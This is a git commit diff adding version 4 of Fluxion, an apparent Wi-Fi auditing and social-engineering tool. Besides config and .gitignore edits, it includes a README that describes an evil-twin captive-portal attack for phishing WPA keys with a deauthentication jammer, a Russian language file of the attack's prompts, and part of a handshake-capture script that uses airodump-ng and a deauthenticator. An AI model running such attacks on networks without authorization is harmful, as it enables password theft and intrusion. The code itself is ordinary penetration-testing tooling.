Merge pull request #413 from FluxionNetwork/v4-development
Introduce fluxion v4
This commit is contained in:
commit
c597427fcb
|
@ -6,13 +6,13 @@ insert_final_newline = true
|
||||||
max_line_length=120
|
max_line_length=120
|
||||||
|
|
||||||
[*.sh]
|
[*.sh]
|
||||||
indent_style = space
|
indent_style = tab
|
||||||
indent_size = 2
|
indent_size = 4
|
||||||
charset = utf-8
|
charset = utf-8
|
||||||
trim_trailing_whitespace = true
|
trim_trailing_whitespace = true
|
||||||
|
|
||||||
[*.py]
|
[*.py]
|
||||||
indent_size=2
|
indent_size = 4
|
||||||
|
|
||||||
[*.md]
|
[*.md]
|
||||||
trim_trailing_whitespace = false
|
trim_trailing_whitespace = false
|
||||||
|
|
|
@ -1,35 +1,173 @@
|
||||||
|
|
||||||
|
# Custom files
|
||||||
*~
|
*~
|
||||||
*.swp
|
*.swp
|
||||||
*.swo
|
*.swo
|
||||||
*.cap
|
*.cap
|
||||||
*.log
|
*.log
|
||||||
BullyOutput.txt
|
*.conf
|
||||||
|
*.lock
|
||||||
|
*.save
|
||||||
|
*.backup
|
||||||
|
|
||||||
# temporary files which can be created if a process still has a handle open of a deleted file
|
# Compiled Object files
|
||||||
.fuse_hidden*
|
*.slo
|
||||||
|
*.lo
|
||||||
|
*.o
|
||||||
|
*.obj
|
||||||
|
|
||||||
# KDE directory preferences
|
# Precompiled Headers
|
||||||
.directory
|
*.gch
|
||||||
|
*.pch
|
||||||
|
|
||||||
# Linux trash folder which might appear on any partition or disk
|
# Compiled Dynamic libraries
|
||||||
.Trash-*
|
*.so
|
||||||
|
*.dylib
|
||||||
|
*.dll
|
||||||
|
|
||||||
# .nfs files are created when an open file is removed but is still being accessed
|
# Fortran module files
|
||||||
.nfs*
|
*.mod
|
||||||
|
*.smod
|
||||||
|
|
||||||
# Cache files for Sublime Text
|
# Compiled Static libraries
|
||||||
|
*.lai
|
||||||
|
*.la
|
||||||
|
*.a
|
||||||
|
*.lib
|
||||||
|
|
||||||
|
# Executables
|
||||||
|
*.exe
|
||||||
|
*.out
|
||||||
|
*.app
|
||||||
|
|
||||||
|
### Calabash ###
|
||||||
|
# Calabash / Cucumber
|
||||||
|
rerun/
|
||||||
|
reports/
|
||||||
|
screenshots/
|
||||||
|
screenshot*.png
|
||||||
|
test-servers/
|
||||||
|
|
||||||
|
# bundler
|
||||||
|
.bundle
|
||||||
|
vendor
|
||||||
|
|
||||||
|
### Python ###
|
||||||
|
# Byte-compiled / optimized / DLL files
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
# C extensions
|
||||||
|
|
||||||
|
# Distribution / packaging
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
develop-eggs/
|
||||||
|
dist/
|
||||||
|
downloads/
|
||||||
|
eggs/
|
||||||
|
.eggs/
|
||||||
|
lib/
|
||||||
|
lib64/
|
||||||
|
parts/
|
||||||
|
sdist/
|
||||||
|
var/
|
||||||
|
wheels/
|
||||||
|
*.egg-info/
|
||||||
|
.installed.cfg
|
||||||
|
*.egg
|
||||||
|
|
||||||
|
# PyInstaller
|
||||||
|
# Usually these files are written by a python script from a template
|
||||||
|
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||||
|
*.manifest
|
||||||
|
*.spec
|
||||||
|
|
||||||
|
# Installer logs
|
||||||
|
pip-log.txt
|
||||||
|
pip-delete-this-directory.txt
|
||||||
|
|
||||||
|
# Unit test / coverage reports
|
||||||
|
htmlcov/
|
||||||
|
.tox/
|
||||||
|
.coverage
|
||||||
|
.coverage.*
|
||||||
|
.cache
|
||||||
|
nosetests.xml
|
||||||
|
coverage.xml
|
||||||
|
*.cover
|
||||||
|
.hypothesis/
|
||||||
|
|
||||||
|
# Translations
|
||||||
|
*.mo
|
||||||
|
*.pot
|
||||||
|
|
||||||
|
# Django stuff:
|
||||||
|
*.log
|
||||||
|
local_settings.py
|
||||||
|
|
||||||
|
# Flask stuff:
|
||||||
|
instance/
|
||||||
|
.webassets-cache
|
||||||
|
|
||||||
|
# Scrapy stuff:
|
||||||
|
.scrapy
|
||||||
|
|
||||||
|
# Sphinx documentation
|
||||||
|
docs/_build/
|
||||||
|
|
||||||
|
# PyBuilder
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Jupyter Notebook
|
||||||
|
.ipynb_checkpoints
|
||||||
|
|
||||||
|
# pyenv
|
||||||
|
.python-version
|
||||||
|
|
||||||
|
# celery beat schedule file
|
||||||
|
celerybeat-schedule.*
|
||||||
|
|
||||||
|
# SageMath parsed files
|
||||||
|
*.sage.py
|
||||||
|
|
||||||
|
# Environments
|
||||||
|
.env
|
||||||
|
.venv
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
env.bak/
|
||||||
|
venv.bak/
|
||||||
|
|
||||||
|
# Spyder project settings
|
||||||
|
.spyderproject
|
||||||
|
.spyproject
|
||||||
|
|
||||||
|
# Rope project settings
|
||||||
|
.ropeproject
|
||||||
|
|
||||||
|
# mkdocs documentation
|
||||||
|
/site
|
||||||
|
|
||||||
|
# mypy
|
||||||
|
.mypy_cache/
|
||||||
|
|
||||||
|
### SublimeText ###
|
||||||
|
# cache files for sublime text
|
||||||
*.tmlanguage.cache
|
*.tmlanguage.cache
|
||||||
*.tmPreferences.cache
|
*.tmPreferences.cache
|
||||||
*.stTheme.cache
|
*.stTheme.cache
|
||||||
|
|
||||||
# Workspace files are user-specific
|
# workspace files are user-specific
|
||||||
*.sublime-workspace
|
*.sublime-workspace
|
||||||
|
|
||||||
# Project files should be checked into the repository, unless a significant
|
# project files should be checked into the repository, unless a significant
|
||||||
# proportion of contributors will probably not be using Sublime Text
|
# proportion of contributors will probably not be using SublimeText
|
||||||
# *.sublime-project
|
# *.sublime-project
|
||||||
|
|
||||||
# SFTP configuration file
|
# sftp configuration file
|
||||||
sftp-config.json
|
sftp-config.json
|
||||||
|
|
||||||
# Package control specific files
|
# Package control specific files
|
||||||
|
@ -48,30 +186,22 @@ bh_unicode_properties.cache
|
||||||
# https://packagecontrol.io/packages/sublime-github
|
# https://packagecontrol.io/packages/sublime-github
|
||||||
GitHub.sublime-settings
|
GitHub.sublime-settings
|
||||||
|
|
||||||
# General
|
### Vim ###
|
||||||
*.DS_Store
|
# swap
|
||||||
.AppleDouble
|
.sw[a-p]
|
||||||
.LSOverride
|
.*.sw[a-p]
|
||||||
|
# session
|
||||||
|
Session.vim
|
||||||
|
# temporary
|
||||||
|
.netrwhist
|
||||||
|
*~
|
||||||
|
# auto-generated tag files
|
||||||
|
tags
|
||||||
|
|
||||||
# Icon must end with two \r
|
### VisualStudioCode ###
|
||||||
Icon
|
.vscode/*
|
||||||
|
!.vscode/settings.json
|
||||||
|
!.vscode/tasks.json
|
||||||
# Thumbnails
|
!.vscode/launch.json
|
||||||
._*
|
!.vscode/extensions.json
|
||||||
|
.history
|
||||||
# Files that might appear in the root of a volume
|
|
||||||
.DocumentRevisions-V100
|
|
||||||
.fseventsd
|
|
||||||
.Spotlight-V100
|
|
||||||
.TemporaryItems
|
|
||||||
.Trashes
|
|
||||||
.VolumeIcon.icns
|
|
||||||
.com.apple.timemachine.donotpresent
|
|
||||||
|
|
||||||
# Directories potentially created on remote AFP share
|
|
||||||
.AppleDB
|
|
||||||
.AppleDesktop
|
|
||||||
Network Trash Folder
|
|
||||||
Temporary Items
|
|
||||||
.apdisk
|
|
|
@ -1,4 +1,3 @@
|
||||||
[submodule "attacks/Captive Portal/sites"]
|
[submodule "attacks/Captive Portal/sites"]
|
||||||
path = attacks/Captive Portal/sites
|
path = attacks/Captive Portal/sites
|
||||||
#url = git@github.com:FluxionNetwork/sites.git
|
url = https://github.com/FluxionNetwork/sites
|
||||||
url = https://github.com/FluxionNetwork/sites
|
|
||||||
|
|
2
.project
2
.project
|
@ -1,6 +1,6 @@
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<projectDescription>
|
<projectDescription>
|
||||||
<name>fluxion</name>
|
<name>Fluxion</name>
|
||||||
<comment></comment>
|
<comment></comment>
|
||||||
<projects>
|
<projects>
|
||||||
</projects>
|
</projects>
|
||||||
|
|
12
README.md
12
README.md
|
@ -5,7 +5,7 @@ Fluxion is a security auditing and social-engineering research tool. It is a rem
|
||||||
|
|
||||||
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby)
|
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby)
|
||||||
## Installation
|
## Installation
|
||||||
Read [this](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you follow the following steps.
|
Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
|
||||||
<br>
|
<br>
|
||||||
**Download the latest revision**
|
**Download the latest revision**
|
||||||
```
|
```
|
||||||
|
@ -22,10 +22,10 @@ cd fluxion
|
||||||
|
|
||||||
## :scroll: Changelog
|
## :scroll: Changelog
|
||||||
Fluxion gets weekly updates with new features, improvements, and bugfixes.
|
Fluxion gets weekly updates with new features, improvements, and bugfixes.
|
||||||
Be sure to check out the [changelog](https://github.com/FluxionNetwork/fluxion/commits/master).
|
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
|
||||||
|
|
||||||
## :octocat: How to contribute
|
## :octocat: How to contribute
|
||||||
All contributions are welcome! Code, documentation, graphics, and design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide).
|
All contributions are welcome! Code, documentation, graphics, or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide).
|
||||||
|
|
||||||
## :book: How it works
|
## :book: How it works
|
||||||
* Scan for a target wireless network.
|
* Scan for a target wireless network.
|
||||||
|
@ -35,7 +35,7 @@ All contributions are welcome! Code, documentation, graphics, and design suggest
|
||||||
* Spawns a rogue (fake) AP, imitating the original access point.
|
* Spawns a rogue (fake) AP, imitating the original access point.
|
||||||
* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
|
* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
|
||||||
* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
|
* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
|
||||||
* Spawns a jammer, deauthenticating all clients from original AP and luring them to the rogue AP.
|
* Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP.
|
||||||
* All authentication attempts at the captive portal are checked against the handshake file captured earlier.
|
* All authentication attempts at the captive portal are checked against the handshake file captured earlier.
|
||||||
* The attack will automatically terminate once a correct key has been submitted.
|
* The attack will automatically terminate once a correct key has been submitted.
|
||||||
* The key will be logged and clients will be allowed to reconnect to the target access point.
|
* The key will be logged and clients will be allowed to reconnect to the target access point.
|
||||||
|
@ -63,10 +63,10 @@ For development I use vim and tmux. Here are my [dotfiles](https://github.com/de
|
||||||
## Disclaimer
|
## Disclaimer
|
||||||
* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
|
* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
|
||||||
|
|
||||||
* The usage of Fluxion to attack infrastructure without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors and developers. It is the end users responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.
|
* The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.
|
||||||
|
|
||||||
## Note
|
## Note
|
||||||
* :heavy_exclamation_mark: Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware.
|
* Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware.
|
||||||
|
|
||||||
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
|
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
|
||||||
|
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -2,6 +2,12 @@
|
||||||
# identifier: Captive Portal
|
# identifier: Captive Portal
|
||||||
# description: Creates an "evil twin" access point.
|
# description: Creates an "evil twin" access point.
|
||||||
|
|
||||||
|
CaptivePortalJammerInterfaceQuery="Select an interface for jamming."
|
||||||
|
CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point."
|
||||||
|
|
||||||
|
CaptivePortalAPServiceQuery="Select an access point service"
|
||||||
|
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
||||||
|
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
||||||
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
||||||
|
|
|
@ -0,0 +1,38 @@
|
||||||
|
#!/bin/bash
|
||||||
|
# identifier: Captive Portal
|
||||||
|
# description: Создаёт точку доступа "Злой Двойник".
|
||||||
|
|
||||||
|
CaptivePortalJammerInterfaceQuery="Выберите интерфейс для глушения."
|
||||||
|
CaptivePortalAccessPointInterfaceQuery="Выберите интерфейс для точки доступа."
|
||||||
|
|
||||||
|
CaptivePortalAPServiceQuery="Выберите службу точки доступа"
|
||||||
|
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}рекомендуется$CClr)"
|
||||||
|
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}медленная$CClr)"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
CaptivePortalInterfaceQuery="Выберите интерфейс для перехватывающего портала (captive portal)."
|
||||||
|
CaptivePortalStartingInterfaceNotice="Запуск интерфейса перехватывающего портала..."
|
||||||
|
CaptivePortalCannotStartInterfaceError="${CRed}Не получается запустить перехватывающий портал interface$CClr, возврат!"
|
||||||
|
CaptivePortalStartedInterfaceNotice="${CGrn}Успех${CClr}, интерфейс перехватывающего портала готов!"
|
||||||
|
CaptivePortalStaringAPServiceNotice="Запуск службы точки доступа с Перехватывающим Порталом..."
|
||||||
|
CaptivePortalStaringAPRoutesNotice="Запуск маршрутизации точки доступа с Перехватывающим Порталом..."
|
||||||
|
CaptivePortalStartingDHCPServiceNotice="Запуск службы DHCP точки доступа в качестве демона..."
|
||||||
|
CaptivePortalStartingDNSServiceNotice="Запуск службы DNS точки доступа в качестве демона..."
|
||||||
|
CaptivePortalStartingWebServiceNotice="Запуск точки доступа с Перехватывающим Порталом в качестве демона..."
|
||||||
|
CaptivePortalStartingJammerServiceNotice="Запуск глушителя точки доступа в качестве демона..."
|
||||||
|
CaptivePortalStartingAuthenticatorServiceNotice="Запуск скрипта аутентификации..."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
CaptivePortalVerificationMethodQuery="Выбор метода верификации пароля"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
CaptivePortalCertificateSourceQuery="Выбор источника SSL сертификата для перехватывающего портала."
|
||||||
|
CaptivePortalCertificateSourceGenerateOption="Создание SSL сертификата"
|
||||||
|
CaptivePortalCertificateSourceRescanOption="Обнаружение SSL сертификата (${CClr}искать снова$CGry)"
|
||||||
|
CaptivePortalCertificateSourceDisabledOption="Нет (${CYel} SSL отключено$CGry)"
|
||||||
|
CaptivePortalUIQuery="Выберите интерфейс перехватывающего портала для мошеннической сети."
|
||||||
|
CaptivePortalGenericInterfaceOption="Обычный Портал"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
CaptivePortalConnectivityQuery="Выберите тип Интернет-соединения для мошеннической сети."
|
||||||
|
CaptivePortalConnectivityDisconnectedOption="отключено (${CGrn}рекомендуется$CClr)"
|
||||||
|
CaptivePortalConnectivityEmulatedOption="эмулирован"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
|
||||||
|
# FLUXSCRIPT END
|
|
@ -1,12 +1,27 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
########################### < Handshake Snooper Parameters > ###########################
|
# ============================================================ #
|
||||||
|
# ============= < Handshake Snooper Parameters > ============= #
|
||||||
|
# ============================================================ #
|
||||||
|
|
||||||
HandshakeSnooperState="Not Ready"
|
HandshakeSnooperState="Not Ready"
|
||||||
|
|
||||||
################################# < Handshake Snooper > ################################
|
|
||||||
function handshake_snooper_arbiter_daemon() {
|
# ============================================================ #
|
||||||
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
# ========= < Handshake Snooper Helper Subroutines > ========= #
|
||||||
|
# ============================================================ #
|
||||||
|
handshake_snooper_header() {
|
||||||
|
fluxion_header; fluxion_target_show; echo
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ============= < Handshake Snooper Subroutines > ============ #
|
||||||
|
# ============================================================ #
|
||||||
|
handshake_snooper_arbiter_daemon() {
|
||||||
|
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
|
||||||
|
return 1;
|
||||||
|
fi
|
||||||
|
|
||||||
# Start daemon in the running state to continue execution until aborted,
|
# Start daemon in the running state to continue execution until aborted,
|
||||||
# or until a hash has been verified to exist in the capture file.
|
# or until a hash has been verified to exist in the capture file.
|
||||||
|
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
|
|
||||||
function handshake_snooper_arbiter_daemon_abort() {
|
function handshake_snooper_arbiter_daemon_abort() {
|
||||||
handshake_snooper_arbiter_daemon_state="aborted"
|
handshake_snooper_arbiter_daemon_state="aborted"
|
||||||
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
|
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
|
||||||
|
kill $handshake_snooper_arbiter_daemon_viewerPID
|
||||||
fi
|
fi
|
||||||
|
|
||||||
handshake_snooper_stop_deauthenticator
|
handshake_snooper_stop_deauthenticator
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
local -r now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
exit 2
|
exit 2
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
||||||
|
|
||||||
# Display some feedback to the user to assure verifier is working.
|
# Display some feedback to the user to assure verifier is working.
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
|
||||||
|
-title "Handshake Snooper Arbiter Log" -e \
|
||||||
|
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
||||||
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
|
local now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
|
||||||
handshake_snooper_start_captor
|
handshake_snooper_start_captor
|
||||||
handshake_snooper_start_deauthenticator
|
handshake_snooper_start_deauthenticator
|
||||||
|
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
|
|
||||||
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
||||||
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
sleep $HANDSHAKEVerifierInterval &
|
sleep $HANDSHAKEVerifierInterval &
|
||||||
wait $! # Using wait to asynchronously catch flags while waiting.
|
wait $! # Using wait to asynchronously catch flags while waiting.
|
||||||
|
|
||||||
# If synchronously searching, stop the captor and deauthenticator before checking.
|
# If synchronously searching, stop the captor and deauthenticator before checking.
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
handshake_snooper_stop_deauthenticator
|
handshake_snooper_stop_deauthenticator
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
|
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||||
|
"$FLUXIONWorkspacePath/capture/recent.cap"
|
||||||
else
|
else
|
||||||
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
|
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||||
|
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
|
||||||
|
$FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
|
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
|
||||||
|
"$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||||
|
"$FluxionTargetSSID" "$FluxionTargetMAC"
|
||||||
handshake_snooper_arbiter_daemon_verified=$?
|
handshake_snooper_arbiter_daemon_verified=$?
|
||||||
|
|
||||||
# If synchronously searching, restart the captor and deauthenticator after checking.
|
# If synchronously searching, restart the captor and deauthenticator after checking.
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
|
||||||
|
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
||||||
|
|
||||||
handshake_snooper_start_captor
|
handshake_snooper_start_captor
|
||||||
|
@ -78,34 +112,39 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
local completionTime=$(env -i date '+%H:%M:%S')
|
local completionTime=$(env -i date '+%H:%M:%S')
|
||||||
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
|
||||||
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
|
||||||
# Assure we've got a directory to store hashes into.
|
# Assure we've got a directory to store hashes into.
|
||||||
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
||||||
|
|
||||||
# Move handshake to storage if one was acquired.
|
# Move handshake to storage if one was acquired.
|
||||||
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
|
mv "$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||||
|
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
|
||||||
|
|
||||||
# Signal parent process the verification terminated.
|
# Signal parent process the verification terminated.
|
||||||
kill -s SIGABRT $1
|
kill -s SIGABRT $1
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_stop_captor() {
|
handshake_snooper_stop_captor() {
|
||||||
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
|
if [ "$HANDSHAKECaptorPID" ]; then
|
||||||
|
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKECaptorPID=""
|
HANDSHAKECaptorPID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_start_captor() {
|
handshake_snooper_start_captor() {
|
||||||
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||||
|
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \
|
||||||
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
|
$TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
||||||
|
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
while [ ! "$HANDSHAKECaptorPID" ]; do
|
while [ ! "$HANDSHAKECaptorPID" ]; do
|
||||||
|
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
|
||||||
done
|
done
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_stop_deauthenticator() {
|
handshake_snooper_stop_deauthenticator() {
|
||||||
